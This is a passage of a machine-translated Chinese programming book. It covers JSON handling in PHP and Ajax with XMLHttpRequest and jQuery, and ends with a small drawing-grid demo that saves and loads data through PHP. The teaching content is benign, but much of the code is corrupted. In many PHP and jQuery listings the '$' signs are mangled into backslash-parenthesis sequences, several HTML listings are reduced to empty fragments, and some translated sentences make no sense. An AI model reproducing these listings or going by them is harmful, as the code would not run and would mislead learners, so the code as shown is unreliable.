在这一章中,我们给出了 XML 的概述。然后我们讨论了用 SimpleXML 扩展解析和生成 XML 文档。SimpleXML 使使用 XML 变得非常容易,同时仍然很强大。我们展示了如何找到元素和属性值,以及如何处理名称空间。
虽然 SimpleXML 是大多数文档的最佳解决方案,但是在适当的时候也应该使用 DOM 和 XMLReader 等替代方案。对于 XHTML 文档,DOM 是有意义的,对于非常大的文档,XMLReader 和 XMLWriter 可能是唯一可行的选择。在任何情况下,了解多种 XML 解析器都不是坏事。
十五、JSON 和 Ajax
近年来,网页模仿桌面应用的功能不断发展。尽管增加了复杂性,但用户体验已经大大改善;发达的网站感觉更具响应性和吸引力。通过更快的反馈、弹出提示、自动完成和更少的必要整页重新加载,浏览是一种更丰富、更直观和愉快的体验。
使这一切成为可能的是从浏览器向服务器发出异步请求并接收返回响应的技术。这些请求是异步的,因为它们是在独立的线程中完成的,不会阻塞主脚本的执行。信息以 JSON (JavaScript 对象表示法)、XML(可扩展标记语言)或纯文本的形式来回传递。浏览器和服务器之间的异步通信不需要重新加载整个页面,这就是 Ajax。
注意【Ajax 这个术语是 Jesse James Garrett 在 2005 年创造的,最初代表异步 JavaScript 和 XML。从那以后,其他脚本语言和数据格式,如 VBScript 和 JSON,使得异步通信成为可能。出于这个原因,取决于你问谁,Ajax 也可以仅仅意味着异步 web 通信技术。
Ajax 不是一种技术,而是由几个相互关联的工具组成。这些组件是:
- 表示层:HTML(超文本标记语言)或 XHTML(可扩展 HTML)和 CSS(级联样式表)和 DOM(文档对象模型)
- 数据交换:XML、JSON、HTML 或纯文本
- 异步通信:JavaScript
XMLHttpRequest
对象
XML 和 DOM 在第十四章中介绍。假设读者熟悉 HTML、CSS 和 JavaScript。
在这一章中,我们将首先看看 JSON 格式,并在 PHP 中使用它。我们将讨论 JavaScript XMLHttpRequest
对象以及如何使用它。我们将展示如何向一个 URL 发送一个 Ajax 请求,并用数据进行响应。我们将展示更高级的 JavaScript API jQuery 如何使 Ajax 请求变得更加容易。
在本章快结束时,我们将构建一个包含我们所学的所有组件的演示示例。演示将是一个基于表格的绘图网格,我们可以修改,编辑,保存和加载。我们将使用 jQuery 来更改单元格的背景颜色,并使用 Ajax 请求和 PHP 将图像数据保存到一个文件中,并在我们再次访问页面时加载它。
上
像 XML 一样,JSON 只是表示数据的另一种方式,XML 将在第十四章详细介绍。JSON 有七种数据类型:strings
、objects
、arrays
、numbers
、true
、false
和null
。Strings
必须用双引号括起来,可以包含转义字符,如\n
、\t
和\"
。JSON objects
用大括号括起来,包含用逗号分隔的键/值对。在 JSON 中,键总是字符串,而值可以是七种数据类型中的任何一种,包括对象和数组。
JSON 对象的一个例子如下所示:
{"name":"Brian", "age":29}
这里,关键字"name"
对应于字符串值"Brian"
,关键字"age"
对应于数值 29。
JSON 数组用括号括起来,包含用逗号分隔的值。JSON 数组的一个例子如下:
["Brian", 29]
JSON 对象和数组也可以嵌套。下面是一个表示图像的 JSON 对象:
{ "dimensions": { "width":800, "height":600 }, "format":"jpg", "alpha_channel": false, "filename":"clouds.jpg" }
键"dimensions"
有另一个对象作为它的值。这个嵌套对象有代表对象宽度和高度的键/值对。
这里显示了嵌套在一个 JSON 数组中的多个 JSON 对象:
`[
{ "dimensions": {
"width":800, "height":600
},
"format":"jpg",
"alpha_channel": false,
"filename":"clouds.jpg"
},
{ "dimensions": {
"width":40, "height":40
},`
"format":" png", "alpha_channel":true, "filename":"icon.jpg" } ]
此处显示了一个 JSON 对象,它包含表示一些颜色数据的独立红、绿、蓝(RGB)通道的数组:
{ "red": [128,128,255,255,255,128,128,0,0], "green": [0, 0, 0, 0, 0, 0, 0,0,0], "blue": [128,128,255,255,255,128,128,0,0] }
下面是相同的颜色数据,表示为 RGB 数组三元组的嵌套数组:
[ [128, 0, 128], [128,0,128], [255, 0, 255], [255, 0,255], [255, 0, 255], [128,0,128], [128, 0, 128], [0, 0, 0], [0,0,0] ]
PHP 和 JSON
幸运的是,PHP 数组非常类似于 JSON 对象,PHP 有内置的函数来编码和解码 JSON。这些功能分别是json_encode
和json_decode,
。
注意一种不能被编码成 JSON 的 PHP 数据类型是资源,就像数据库或文件句柄。与 PHP 不同,您不能在 JSON 中指定整数和浮点数之间的区别。两者都表示为相同的数字类型。
json_encode
和json_decode
都只处理UTF-8
编码的数据。json_decode
、$assoc,
的第二个可选参数取布尔值,默认为FALSE
。当$assoc
设置为TRUE
时,JSON 对象被解码成关联数组。在对json_decode
进行故障排除时,重要的是要知道“如果 json 不能被解码或者如果编码的数据比递归限制更深,则返回 NULL。”这是根据在[www.php.net/manual/en/function.json-decode.php](http://www.php.net/manual/en/function.json-decode.php)
找到的手册
第三个 PHP 函数json_last_error,
返回一个表示错误代码的整数值。返回的错误代码是以下之一:
JSON_ERROR_NONE No error has occurred JSON_ERROR_DEPTH The maximum stack depth has been exceeded JSON_ERROR_CTRL_CHAR Control character error, possibly incorrectly encoded JSON_ERROR_STATE_MISMATCH Invalid or malformed JSON JSON_ERROR_SYNTAX Syntax error JSON_ERROR_UTF8 Malformed UTF-8 characters, possibly incorrectly encoded
清单 15-1 是一个将 PHP 数据类型的代表编码成 JSON 表示,然后再转换回 PHP 数据类型的例子。
清单 15-1。将 PHP 数据类型编码成 JSON 并解码回 PHP 数据类型
`<?php
//we will leave out the PHP resource type
$php_data_types = array(4.1, 3, NULL, true, false, "hello", new StdClass(), array());
\(json = json_encode(\)php_data_types);
\(decoded = json_decode(\)json);
?>
JSON Representation:
PHP Representation:
`
运行清单 15-1 会产生以下输出:
`JSON Representation
string(37) "[4.1,3,null,true,false,"hello",{},[]]"
PHP Representation:
array(8) {
[0]=>
float(4.1)
[1]=>
int(3)
[2]=>
NULL
[3]=>
bool(true)
[4]=>
bool(false)
[5]=>
string(5) "hello"
[6]=>
object(stdClass)#2 (0) {
}
[7]=>
array(0) {
}
}`
清单 15-2 将 PHP 嵌套的书籍数组编码成 JSON,然后将 JSON 解码回 PHP。正如您将看到的,JSON 将编码表示为一个对象数组。
清单 15-2。一个 PHP 嵌套数组首先被编码成 JSON,然后解码回 PHP
`<?php
$books = array(
array("author" => "Lewis Carroll",
"title" => "Alice's Adventures in Wonderland",
"year" => 1865),
array("author" => "Yann Martel",
"title" => "Life of Pi",
"year" => 2001),
array("author" =>"Junot Diaz",
"title" => "The Brief Wondrous Life of Oscar Wao",
"year" => 2007),
array("author" => "Joseph Heller",
"title" => "Catch-22",
"year" => 1961),
array("author" => "Timothy Findley",
"title" => "Pilgrim",
"year" => 1999),
array("author" => "Fyodor Dostoyevsky",
"title" => "Brothers Karamazov",
"year" => 1880),
);
\(json_books = json_encode(\)books);
\(decoded_json_books = json_decode(\)json_books);
?>
`
清单 15-2 首先输出 PHP 嵌套数组的 JSON 表示,它是对象数组的形式。实际输出是一个连续的字符串。添加了换行符以提高可读性:
string(415) "[ {"author":"Lewis Carroll","title":"Alice's Adventures in Wonderland","year":1865}, {"author":"Yann Martel","title":"Life of Pi","year":2001}, {"author":"Junot Diaz","title":"The Brief Wondrous Life of Oscar Wao","year":2007}, {"author":"Joseph Heller ","title":"Catch-22","year":1961}, {"author":"Timothy Findley","title":"Pilgrim","year":1999}, {"author":"Fyodor Dostoyevsky","title":"Brothers Karamazov","year":1880} ]"
清单 15-2 然后输出 PHP 编码,再次表示为一个对象数组。
array(6) { [0]=> object(stdClass)#1 (3) { ["author"]=> string(13) "Lewis Carroll" ["title"]=> string(32) "Alice's Adventures in Wonderland" ["year"]=> int(1865) } [1]=> object(stdClass)#2 (3) { ["author"]=> string(11) "Yann Martel" ["title"]=> string(10) "Life of Pi" ["year"]=> int(2001) } [2]=> object(stdClass)#3 (3) { ["author"]=> string(10) "Junot Diaz" ["title"]=> string(36) "The Brief Wondrous Life of Oscar Wao" ["year"]=> int(2007) } [3]=> object(stdClass)#4 (3) { ["author"]=> string(14) "Joseph Heller " ["title"]=> string(8) "Catch-22" ["year"]=> int(1961) } [4]=> object(stdClass)#5 (3) { ["author"]=> string(15) "Timothy Findley" ["title"]=> string(7) "Pilgrim" ["year"]=> int(1999) }
[5]=> object(stdClass)#6 (3) { ["author"]=> string(18) "Fyodor Dostoyevsky" ["title"]=> string(18) "Brothers Karamazov" ["year"]=> int(1880) } }
值得注意的是,JSON 忽略了单个 book 数组的数字键。但是,一旦我们将一个键设置为关联键,所有的键,包括数字键,都存储在 JSON 对象中。修改清单 15-2 中的开头
$books = array( array("author" => "Lewis Carroll", "title" => "Alice's Adventures in Wonderland", "year" => 1865),
到
$books = array( **"sample_book"** => array("author" => "Lewis Carroll", "title" => "Alice's Adventures in Wonderland", "year" => 1865),
因此它包含一个关联键,将产生一个编码的 JSON 和解码的 PHP 表示中的对象的对象:
`string(449) "{
"sample_book":
{"author":"Lewis Carroll","title":"Alice's Adventures in Wonderland","year":1865},
"0":{"author":"Yann Martel","title":"Life of Pi","year":2001},
"1":{"author":"Junot Diaz","title":"The Brief Wondrous Life of Oscar Wao","year":2007},
"2":{"author":"Joseph Heller ","title":"Catch-22","year":1961},
"3":{"author":"Timothy Findley","title":"Pilgrim","year":1999},
"4":{"author":"Fyodor Dostoyevsky","title":"Brothers Karamazov","year":1880}
}"
object(stdClass)#1 (6) {
["sample_book"]=>
object(stdClass)#2 (3) {
["author"]=>
string(13) "Lewis Carroll"
["title"]=>
string(32) "Alice's Adventures in Wonderland"
["year"]=>
int(1865)
}`
["0"]=> object(stdClass)#3 (3) { ["author"]=> string(11) "Yann Martel" ["title"]=> string(10) "Life of Pi" ["year"]=> int(2001) } ["1"]=> object(stdClass)#4 (3) { ["author"]=> string(10) "Junot Diaz" ["title"]=> string(36) "The Brief Wondrous Life of Oscar Wao" ["year"]=> int(2007) } ["2"]=> object(stdClass)#5 (3) { ["author"]=> string(14) "Joseph Heller " ["title"]=> string(8) "Catch-22" ["year"]=> int(1961) } ["3"]=> object(stdClass)#6 (3) { ["author"]=> string(15) "Timothy Findley" ["title"]=> string(7) "Pilgrim" ["year"]=> int(1999) } ["4"]=> object(stdClass)#7 (3) { ["author"]=> string(18) "Fyodor Dostoyevsky" ["title"]=> string(18) "Brothers Karamazov" ["year"]=> int(1880) } }
Ajax
Ajax 允许部分重新加载和操作呈现的内容,而不需要重新加载整个页面。Ajax 调用可以是同步的,但通常是异步的后台调用。这是为了在不干扰主程序流程的情况下发送和检索数据。如前所述,Ajax 不是一种单一的技术,而是协同工作的几个部分。
Ajax 的一些缺点是:
- 浏览器的后退按钮和书签不会跟踪 Ajax 的状态。
- 搜索引擎很难索引动态生成的内容。
- 非 JavaScript 用户需要适度降级,这需要额外的工作。
- 屏幕阅读器的可访问性问题。
然而,Ajax 的响应性和动态性通常会超过它的负面影响。像 Gmail、Google Docs 和脸书这样的应用展示了 Ajax 的能力。
传统的网络模式
在经典 web 模型的简化视图中(见图 15-1 ,客户端浏览器向 web 服务器发送 HTTP 请求并接收响应。任何时候,如果浏览器希望更新显示,即使是单个<div>
元素或<img />
元素发生了变化,或者验证输入,都需要向服务器发出完整的请求。对于每个请求,浏览器都在等待来自服务器的反馈。
图 15-1。传统网络模式
20 年前,当网络首次被广泛使用时,等待 30 秒或更长时间来提交表格是可以接受的。互联网连接要慢得多,网络仍然是一项令人惊叹的新技术,比亲自寄信或提交纸质表格要快得多。随着人类已经习惯于更快的连接和及时的反馈,对缓慢响应时间的容忍度已经稳步下降。需要一种不中断用户体验的方式与服务器通信。
Ajax 网络模型
在 Ajax web 模型中(如图 15-2 和图 15-3 所示),有一个中介——Ajax 引擎,它位于客户端和服务器之间。有了这个模型,客户端现在可以将其事件发送给 Ajax 引擎。根据事件的类型,Ajax 引擎要么操纵客户机的表示层(HTML 和 CSS ),要么向服务器发送异步事件。在后一种情况下,服务器响应 Ajax 引擎,Ajax 引擎反过来更新客户端。不需要直接的客户端到服务器的请求允许通信,而不需要中断用户思路的全页面刷新。
使用 Ajax web 模型,更新显示和表单验证等事件可以在不联系服务器的情况下发生。当我们需要保存和加载数据时,就会联系服务器。
图 15-2。 Ajax web 模型——一个简单的事件,只有客户端和 Ajax 引擎交互
你可以在图 15-2 中看到,一些浏览器客户端事件,比如显示变化,并不需要从服务器请求或接收数据。
图 15-3。 Ajax web 模型——需要客户端、Ajax 引擎和服务器交互的更复杂事件
其他事件确实需要 HTTP 请求和对服务器的响应,如图图 15-3 所示。
异步与同步事件
假设我们有三个 HTTP 请求事件:A、B 和 C。在同步模式下,我们需要等到收到事件 A 的服务器响应后才能发送请求 B。然后,我们必须等到收到事件 B 的响应后才能发送请求 C。事件是连续的,因此事件 A 会阻塞事件 B 和事件 C,直到它完成。类似地,下一个事件 B 阻塞事件 C,直到它完成。参见图 15-4 。
图 15-4。顺序同步 HTTP 事件
对于异步事件,请求从不等待。它们是单独并行执行的。即使 HTTP 事件 A 仍在等待服务器响应,新事件 B 和 C 也可以立即开始它们的 HTTP 请求。通过比较图 15-4 和图 15-5 可以看出,异步事件加快了整体事件处理时间。
图 15-5。并行、异步 HTTP 事件
XMLHttpRequest 对象
对象,通常缩写为 XHR,由微软在 2000 年创建。它是一个 API,通常用 JavaScript 实现,支持从客户端向服务器发送请求并接收响应,而无需重新加载页面。物体的名称不能照字面理解。其组成部分只是象征性的,例如:
- XML :实际上可以是 XML,JSON,HTML,或者纯文本文档。
- Http :可能是 Http 或者 HTTPS。
- 请求:请求或响应。
有些浏览器不支持XMLHttpRequest
对象,但支持XDomainRequest
对象或window.createRequest()
方法。在本章中,我们不会担心支持过时的或非标准的浏览器。
创建一个新的XMLHttpRequest
对象需要一行代码,如清单 15-3 中的所示。
清单 15-3。在 JavaScript 中创建an XMLHttpRequest
对象
<script type="text/javascript"> var xhr = new XMLHttpRequest(); </script>
为了设置请求的参数,我们使用了open()
函数。该函数采用以下参数:
- 请求方式:
{"GET", "POST", "HEAD", "PUT", "DELETE", "OPTIONS"}
之一。 - URL:请求 URL。可以是 PHP、JavaScript、HTML、纯文本或其他文件类型。
- 异步(可选):默认值为 true,表示非阻塞调用。
- Username(可选):如果在请求服务器上使用身份验证,则为 Username。
- Password(可选):在请求服务器上使用身份验证时的密码。
异步调用有一个监听器回调函数onreadystatechange
,它允许主脚本继续运行。同步调用没有侦听器,因此需要阻塞主脚本,直到收到响应。如果我们发送一个异步调用,那么onreadystatechange
回调将设置请求对象的readyState
属性。
为了设置对象属性,但不发送请求,我们将使用如下代码:
<script type="text/javascript"> var xhr = new XMLHttpRequest(); xhr.open("GET", "animals.xml"); </script>
默认情况下,与请求一起发出的头是"application/xml;charset=*_charset*"
,其中 _charset
是实际使用的编码,例如UTF-8.
,如果我们需要覆盖这些值,我们将使用函数setRequestHeader(String header_name, String header_value)
。如果使用代理,请求对象将自动设置和发送代理授权头。
在发送请求之前,我们需要定义回调函数。我们将使用一个匿名(未命名)函数,并检查 readyState 是否为 4,这表示请求已完成:
xhr.onreadystatechange=function(){ if (xhr.readyState == 4){ //ready state 4 is completion if (xhr.status==200){ //success
可能的就绪状态有:
0 未初始化-尚未调用 open()。
1 尚未调用 Loading - send()。
2 Loaded - send()已被调用,标题和状态可用。
3 交互式下载,responseText 保存部分数据。
4 完成-完成所有操作。
不同浏览器的状态 0-3 不一致。我们主要对状态 4 感兴趣。
既然我们已经初始化了请求对象并定义了回调,我们就可以发出请求了:
xhr.send("our content");
发送一个带有XMLHttpRequest
的 Ajax 请求看起来像清单 15-4 中的。
清单 15-4。一个基本XMLHttpRequest
<script type="text/javascript"> var xhr = new XMLHttpRequest(); xhr.open("GET", "animals.xml"); xhr.onreadystatechange=function(){ if (xhr.readyState == 4){ //ready state 4 is completion if (xhr.status==200){ alert("success"); } else{ alert("error"); } } } xhr.send("our content"); </script>
使用 XMLHttpRequest
在我们使用XMLHttpRequest
对象的第一个例子(清单 15-5 )中,我们将替换<p>
标签的内容。
清单 15-5。用XMLHttpRequest
、listing_15_5.html
、修改页面元素
`
Original content
`
我们在清单 15-5 中的open()
方法中使用的 URL 是当前页面,可以在 JavaScript 变量window.location.pathname
中访问。我们在 Ajax 调用xhr.send(null)
中没有发送任何数据。
JavaScript 放在我们操作的 HTML 元素之后。这是因为我们需要加载所有的 DOM 树,以便 JavaScript 能够找到并操作其中的元素。像 jQuery 这样的高级框架有测试文档是否准备好的功能,通过这样做,可以将 JavaScript 放在页面的任何地方。
根据你的计算机的响应时间,你可能会看到元素从初始值"Original content"
变为"Ajax loaded content"
在页面加载后,清单 15-6 将获取一个外部 XML 文件的纯文本内容,并将其放入我们的文档中。对于纯文本,我们的意思是只检索 XML 元素值。元素名称和属性被丢弃。
清单 15-6。用一个XMLHttpRequest
抓取一个 XML 文件的内容,并将其显示为纯文本
`
Ajax grabbed plain text:
`
清单 15-7。所包含的 XML 文件,animals.xml
<?xml version="1.0" encoding="UTF-8" ?> <animals> <dogs> <dog> <name>snoopy</name> brown <breed>beagle cross</breed> </dog> <dog> <name>jade</name> black <breed>lab cross</breed> </dog> </dogs> <cats> <cat> <name>teddy</name> brown <breed>tabby</breed> </cat> </cats> </animals>
清单 15-6 的输出如图图 15-6 所示
图 15-6。运行清单 15-6 的输出,它使用 Ajax 读取 XML 文件的纯文本
在清单 15-6 中需要注意的关键一行是,我们为我们的成功响应指定了纯文本输出:
if (xhr.status==200){ //success //retrieve result as plain text **message = "<pre>" + xhr.responseText + "</pre>";** }
并将其作为 id 等于generated_content
的<div>
的innerHTML
:
document.getElementById("generated_content").innerHTML = message;
为了只获取动物名称(清单 15-8 ),我们检索 XML 格式的输出,并解析所有的名称元素值。
清单 15-8。用XMLHttpRequest
抓取 XML 并解析特定值
`
Ajax grabbed specific XML below:
`
我们在清单 15-8 中使用 JavaScript 来获取使用xhr.responseXML
的 Ajax 调用返回的 XML 数据,并解析它以获取<name>
元素值。输出如图图 15-7 所示。
图 15-7。运行清单 15-8 的输出,它使用 Ajax 解析 XML 数据
如果我们请求一个用 HTML 编写的文件,那么使用responseText
保留 HTML 结构,如清单 15-9 所示。输出如图 15-8 中的所示
清单 15-9。用XMLHttpRequest
抓取 HTML
`
Ajax grabbed plain text containing html:
`
其中sample_table.html
包含
`
foo | bar |
---|---|
a | 1 |
b | 2 |
c | 3 |
图 15-8。运行清单 15-9 的输出,它使用 Ajax 包含 HTML
高级 JavaScript APIs
jQuery、Prototype 和 YUI 之类的高级 JavaScript APIs 之所以广受欢迎,部分原因是它们抽象出了细节,使得使用复杂对象(如XMLHttpRequest
)变得更加容易。这意味着库的用户不需要直接知道XMLHttpRequest
对象的内部工作原理。然而,对XMLHttpRequest
对象的理解有助于理解“引擎盖下”发生了什么这些库的其他优点是它们使得跨浏览器支持和 DOM 操作更加容易。
有几个库可供选择。Danchilla 是 jQuery 的倡导者,jQuery 是目前最流行的 JavaScript 库。它被 Google、Amazon、Twitter、Microsoft Visual Studio、IBM、Drupal CMS(内容管理系统)以及许多其他网站和框架使用:如果您不喜欢它,请参见[
docs.jquery.com/Sites_Using_jQuery](http://docs.jquery.com/Sites_Using_jQuery).
其他选择包括 Dojo、YUI、Prototype、MooTools 和 script.aculo.us。然而,丹希拉会解释我们使用的任何功能。
jQuery 示例
清单 15-10 是清单 15-5 的的 jQuery 等价物,它在页面加载后替换了一个<p>
元素的内容。
清单 15-10。用 jQuery 加载页面后修改<p>
元素
`
Original content
`
在清单 15-10 中,该行
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" > </script>
从 Google CDN(内容交付网络)加载 jQuery 库。或者,您可以提供一个本地下载的库副本。在生产环境中,cdn 通常更快、更可靠。大多数浏览器对可以从一个域中同时下载的文件数量有限制。使用外部 CDN 会从网页的加载队列中删除一个文件。结果是更高的吞吐量和更快的页面加载。注意文件名是jquery.min.js
。这是该库的打包、混淆版本。文件较小,您可能希望在生产中使用此版本。在开发中,您可能会调试您的输出,最好包括人类可读的版本,jquery.js
。
$(document).ready
函数调用是 jQuery 脚本的标准。$(document)
代表完整的 DOM 文档,稍后在脚本中简称为$()
。一旦 DOM 文档完全加载完毕,对.ready
的调用就会执行脚本。这允许我们将脚本放在我们在 HTML 文档中操作的元素之前。
Ajax 参数在一个函数调用$.ajax()
中初始化和设置。该函数将请求类型——GET 或 POST、URL 和响应数据类型作为参数。它还定义了成功和失败的回调。
最后我们原剧本的document.getElementsByTagName("p")[0].innerHTML
行换成了$("p").html("*some data*")
。该行的第一部分通过使用 CSS 选择器找到相关的<p>
元素。第二部分设置元素数据。
注意从技术上讲,
$("p")
匹配文档中所有的<p>
标签。如果我们想显式匹配第一次出现的内容,如清单 15-5 中的,我们可以链接内置函数$("p").first
()。或者,我们可以使用 CSS 选择器,如$("p:first")
或$("p:eq(0)")
。
我们脚本的这个 jQuery 版本比使用XMLHttpRequest
对象的原始版本要短。随着我们的脚本变得更加复杂,像 jQuery 这样的高级 API 的价值变得更加明显。
清单 15-11 是清单 15-6 中的 jQuery 等价物,它从 XML 文件中加载纯文本。
清单 15-11。使用 jQuery 从 XML 文件加载纯文本
<html> <head> <title>Loading Plain Text with jQuery</title> <style type="text/css"> #generated_content{ border: 1px solid black; width: 300px; background-color: #dddddd; } </style> <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" > </script> <script type="text/javascript"> $(document).ready(function() { $.ajax( { type: "get", **url: "animals.xml",** **dataType: "text",** success: function(data) { $("#generated_content").html("<pre>" + data + "</pre>"); }, failure: function(){ $("#generated_content").html( "An error has occured making the request"); } } ); }); </script>
`
Ajax grabbed plain text:
`
如果我们不关心可能的错误值,我们可以将清单 15-11 中的脚本重写为清单 15-12 中所示的更简洁的代码..
清单 15-12。使用 jQuery 加载文件的更简洁版本。load()函数
`
Ajax grabbed plain text:
`
清单 15-12 中的 jQuery load
函数执行一个 GET 请求,并使用“智能猜测”返回纯文本。然后,它将文本插入到选定的元素中。jQuery wrap
函数在元素内容周围放置标记。这允许我们将加载的数据包含在上面的<pre>..</pre>
标签中。
除了$.ajax
函数,jQuery 还有用于 GET 和 POST 请求的$.get
和$.post
函数。通过这些函数,jQuery 试图猜测期望的输出。如果猜测错误,我们可以显式指定返回类型。有关更深入的内容,请参考位于[
api.jquery.com/jQuery.get/](http://api.jquery.com/jQuery.get/)
的 jQuery 文档。参见清单 15-13 。
清单 15-13。使用jQuery $.get
并请求 XML 数据类型。
`
Ajax parsed XML:
`
在清单 15-13 中,$.get
函数有三个参数。第一个是请求文件,第二个是函数回调,在这里我们操作响应数据,第三个是预期的数据类型。如果没有指定"xml"
,jQuery 会选择纯文本。
到目前为止,我们已经展示了如何使用XMLHttpRequest
对象,以及像 jQuery 这样的高级 API 包装器如何隐藏一些细节,让生活变得更简单。现在让我们尝试一个 JSON 例子(见清单 15-14 )
清单 15-14。从 PHP 数组输出 JSON 数据,json_example.php
`<?php
$animals = array(
"africa" => array("gorilla", "giraffe", "elephant"),
"asia" => array("panda"),
"north america" => array("grizzly bear", "lynx", "orca"),
);
print json_encode($animals);
?>`
清单 15-15 使用 jQuery 通过 Ajax 请求从 PHP 文件中获取 JSON 值(清单 15-14 )。
清单 15-15。使用$.getJSON
和$.each
`
Ajax parsed JSON:
`
清单 15-15 的输出是:
`Ajax parsed JSON:
africa:
gorilla, giraffe, elephant
asia:
panda
north america:
grizzly bear, lynx, orca`
在清单 15-15 中,我们使用了$.getJSON
速记函数。我们也可以使用$.get
和json
作为第三个参数。我们还使用 jQuery 函数$.each
遍历返回的 JSON 对象。为了分配continent
和animals
的键/值数据变量名,我们将回调函数定义为:
$.each(data, function(continent, animals){)
通过 Ajax 向 PHP 脚本发送数据
在这个例子中(清单 15-16 ,我们将在浏览器页面上有两个按钮,标记为“捕食者”和“猎物”。当按下任何一个按钮时,一个 Ajax 请求被发送到一个 PHP 脚本,带有查询参数?type=predator
或?type=prey
。当 PHP 脚本收到请求时,它使用查询值选择并返回一个适当的编码为 JSON 的动物条目。
清单 15-16。 PHP 文件,选择一个捕食者或猎物,并以 JSON 格式输出,predator_prey.php
`<?php
error_reporting(E_ALL);
\(predators = array(
"bear", "shark", "lion", "tiger",
"eagle", "human", "cat", "wolf"
);
\)prey = array(
"salmon", "seal", "gazelle", "rabbit",
"cow", "moose", "elk", "turkey"
);
if (isset(\(_GET['type'])) {
switch (\)_GET['type']) {
case "predator":
print json_encode(\(predators[array_rand(\)predators)]);
break;
case "prey":
print json_encode(\(prey[array_rand(\)prey)]);
break;`
default: print json_encode("n/a"); break; } } ?>
在清单 15-17 的中,我们通过发送一个 Ajax .load
请求来处理两个按钮的.click
事件。predator_prey.php
文件接收这个请求,以及一个type
参数,并发回一个字符串响应,我们将它加载到我们的文档中。我们已经使用array_rand
为我们选择的数组生成了一个随机索引,然后使用json_encode
将其以 JSON 格式输出。
清单 15-17。加载 Ajax 请求响应的 HTML 文件
`
Ajax response from PHP:
`
清单 15-17 的输出如图图 15-9 所示。
*图 15-9。清单 15-17 的样本输出清单 *
简单的图形程序
在清单 15-18 中,我们将使用调色板、HTML 表格单元格网格和 jQuery 构建一个简单的绘图应用。一旦成功,我们将添加使用 PHP 和 Ajax 保存和加载图像的功能。
清单 15-18。图形应用操纵表格单元格的背景颜色
`
Palette
Draw!
Debug console:
`
在清单 15-18 的的 CSS 中,我们为表格网格设置了margin-collapse: collapse
,这样内部边界和边缘边界的厚度相同。我们创建了一个调色板供选择。即使我们指定了尺寸,
(不间断空格)字符有助于确保浏览器绘制单元格边框。没有 DOM 操作,我们的网格是空的。在我们的 jQuery .ready
函数中,我们使用一个循环和 jQuery append
函数向网格添加 10 个表格行,每个行有 10 个单元格。
接下来,我们用以下内容定义调色板单元格的单击动作:
$("#palette td").each( function( index ){ //bind the onClick event $( this ).bind ( "click", function(){
在函数细节中,我们更改了active_color
,并在我们的调试区域显示了它的内容:
function(){ **active_color = $(this).css("background-color");** $("#debug_palette_color").html("active palette color is: " + "<span style='width: 20px; height: 20px; background-color:" + active_color + ";'>" + active_color + "</span>"); }
我们将网格单元绑定到一个点击事件,这样在任何点击之后,background-color
都会变成我们的active_color:
$("#grid td").each( function( index ){ //bind the onClick event $( this ).bind ( "click", function(){ **$(this).css("background-color", active_color);** } );
输出如图 15-10 所示。我们的计划成功了。然而,我们不能挽救我们的形象。所以当我们从页面浏览出去再回来的时候,我们总会有一个空白的画布。我们接下来将讨论这个问题。
注意 jQuery 背景颜色是更新的
rgb(255, 0, 0)
形式,而不是像#ff0000.
这样的十六进制值。新的颜色格式是 CSS 3 规范的一部分,它也包括一个 alpha 版本 rgba。Alpha 值允许简单的不透明度设置,并且将很快全面支持跨浏览器。
图 15-10。我们绘制的网格来自清单 15-18
维持状态
为了保存 Ajax 的修改,我们可以使用 PHP,将数据写入数据库、$_SESSION
或文件中。当我们以后重新加载页面时,我们可以从保存的数据中填充图像网格。对于我们的例子,我们将使用一个物理文件。您可以扩展该示例以保存每个唯一会话或用户名的数据,但我们将只存储一组结果。
我们不希望在每次像素改变后都保存结果,因为那样会非常慢并且耗费资源。相反,我们将添加一个保存按钮,以便用户可以显式地请求保存。您还可以跟踪每次保存之间的更改次数。然后,我们可以在大约每 100 次更改后进行一次后台自动保存。这有助于保护用户数据,而无需中断用户备份工作。
我们还可以添加一个“Clear”按钮,将网格重置为透明的、未修改的状态,并截断保存的数据文件。参见清单 15-19 。
清单 15-19。显示绘图网格并对我们的 PHP 脚本进行 Ajax 调用的 HTML】
`
Palette
Draw!
Debug console:
..`
清单 15-20。将传入的$_POST
变量数据保存为 JSON 格式的 PHP 脚本,save_drawing.php
<?php error_reporting(E_ALL); file_put_contents("image.x", json_encode($_POST)); ?>
清单 15-21。PHP 脚本加载保存的文件数据,load_drawing.php
<?php $filename = "image.x"; if (file_exists($filename)) { print file_get_contents($filename); } ?>
我们新的 jQuery 现在有一个在点击“保存”按钮时保存数据的功能。为此,创建了一个新的 JavaScript 对象。然后将每个单元格的 CSS 背景色属性添加到对象中。一旦完成,我们向我们的save_drawing.php
文件发送一个 Ajax POST 请求。我们需要使它成为 POST 请求,因为我们发送的数据太长,不能包含在 GET 查询字符串中。在 PHP 脚本中,我们将$_POST
值编码成 JSON 并保存在一个文件中。参见清单 15-22 。
清单 15-22。我们整个程序的保存功能(清单 15-19 )
` \(("#save").click(function(){
var colorsAsJson = new Object();
var i=0;
\)("#grid td").each(function() {
colorsAsJson[i] = $(this).css("background-color");
++i;
});
\(.ajax(
{
type: "post",
url: "save_drawing.php",
dataType: "text",
data: colorsAsJson,
success: function(data) {
\)("#debug_message").html("saved image");
},
failure: function(){
$("#debug_message").html(
"An error has occured trying to save the image");
}
});
});`
现在我们已经保存了图像数据,我们可以在再次访问页面时加载数据。为此,我们向load_colors.php
发送一个$.getJSON
请求。这将返回我们保存的 JSON 格式文件的内容。在我们的 jQuery 中,我们遍历网格的每个单元格,并分配相应的背景颜色。参见清单 15-23 。输出如图图 15-11 所示。
清单 15-23。我们完整程序的加载功能(清单 15-19 )
$.getJSON("load_drawing.php", function(data){ $("#grid td").each(function(index){ $(this).css("background-color", data[index]); }); });
图 15-11。我们的 Ajax 绘图程序,带有初始加载的数据、保存按钮和 Firebug 输出
使用 Ajax 时,使用开发人员工具进行调试很有帮助。Firefox 扩展 Firebug 是目前最好的工具之一。在 Firebug 中,Ajax 数据可以在Net > XHR
部分找到。Chrome 开发者工具也非常有用。
总结
在这一章中,我们已经解释了异步 web 请求是如何实现更丰富、更灵敏、更有趣的网站的。这是通过在客户机和服务器端点之间注入一个中介 Ajax 引擎来实现的。这导致更新浏览器显示的服务器请求减少,并且当我们在服务器和客户机之间传输数据时,调用不会阻塞。
用来发送 Ajax 请求的最流行的脚本语言是 JavaScript。与直接处理XMLHttpRequest
对象相比,使用 jQuery 这样的高级 API 可以使使用 Ajax 变得更加容易和愉快。
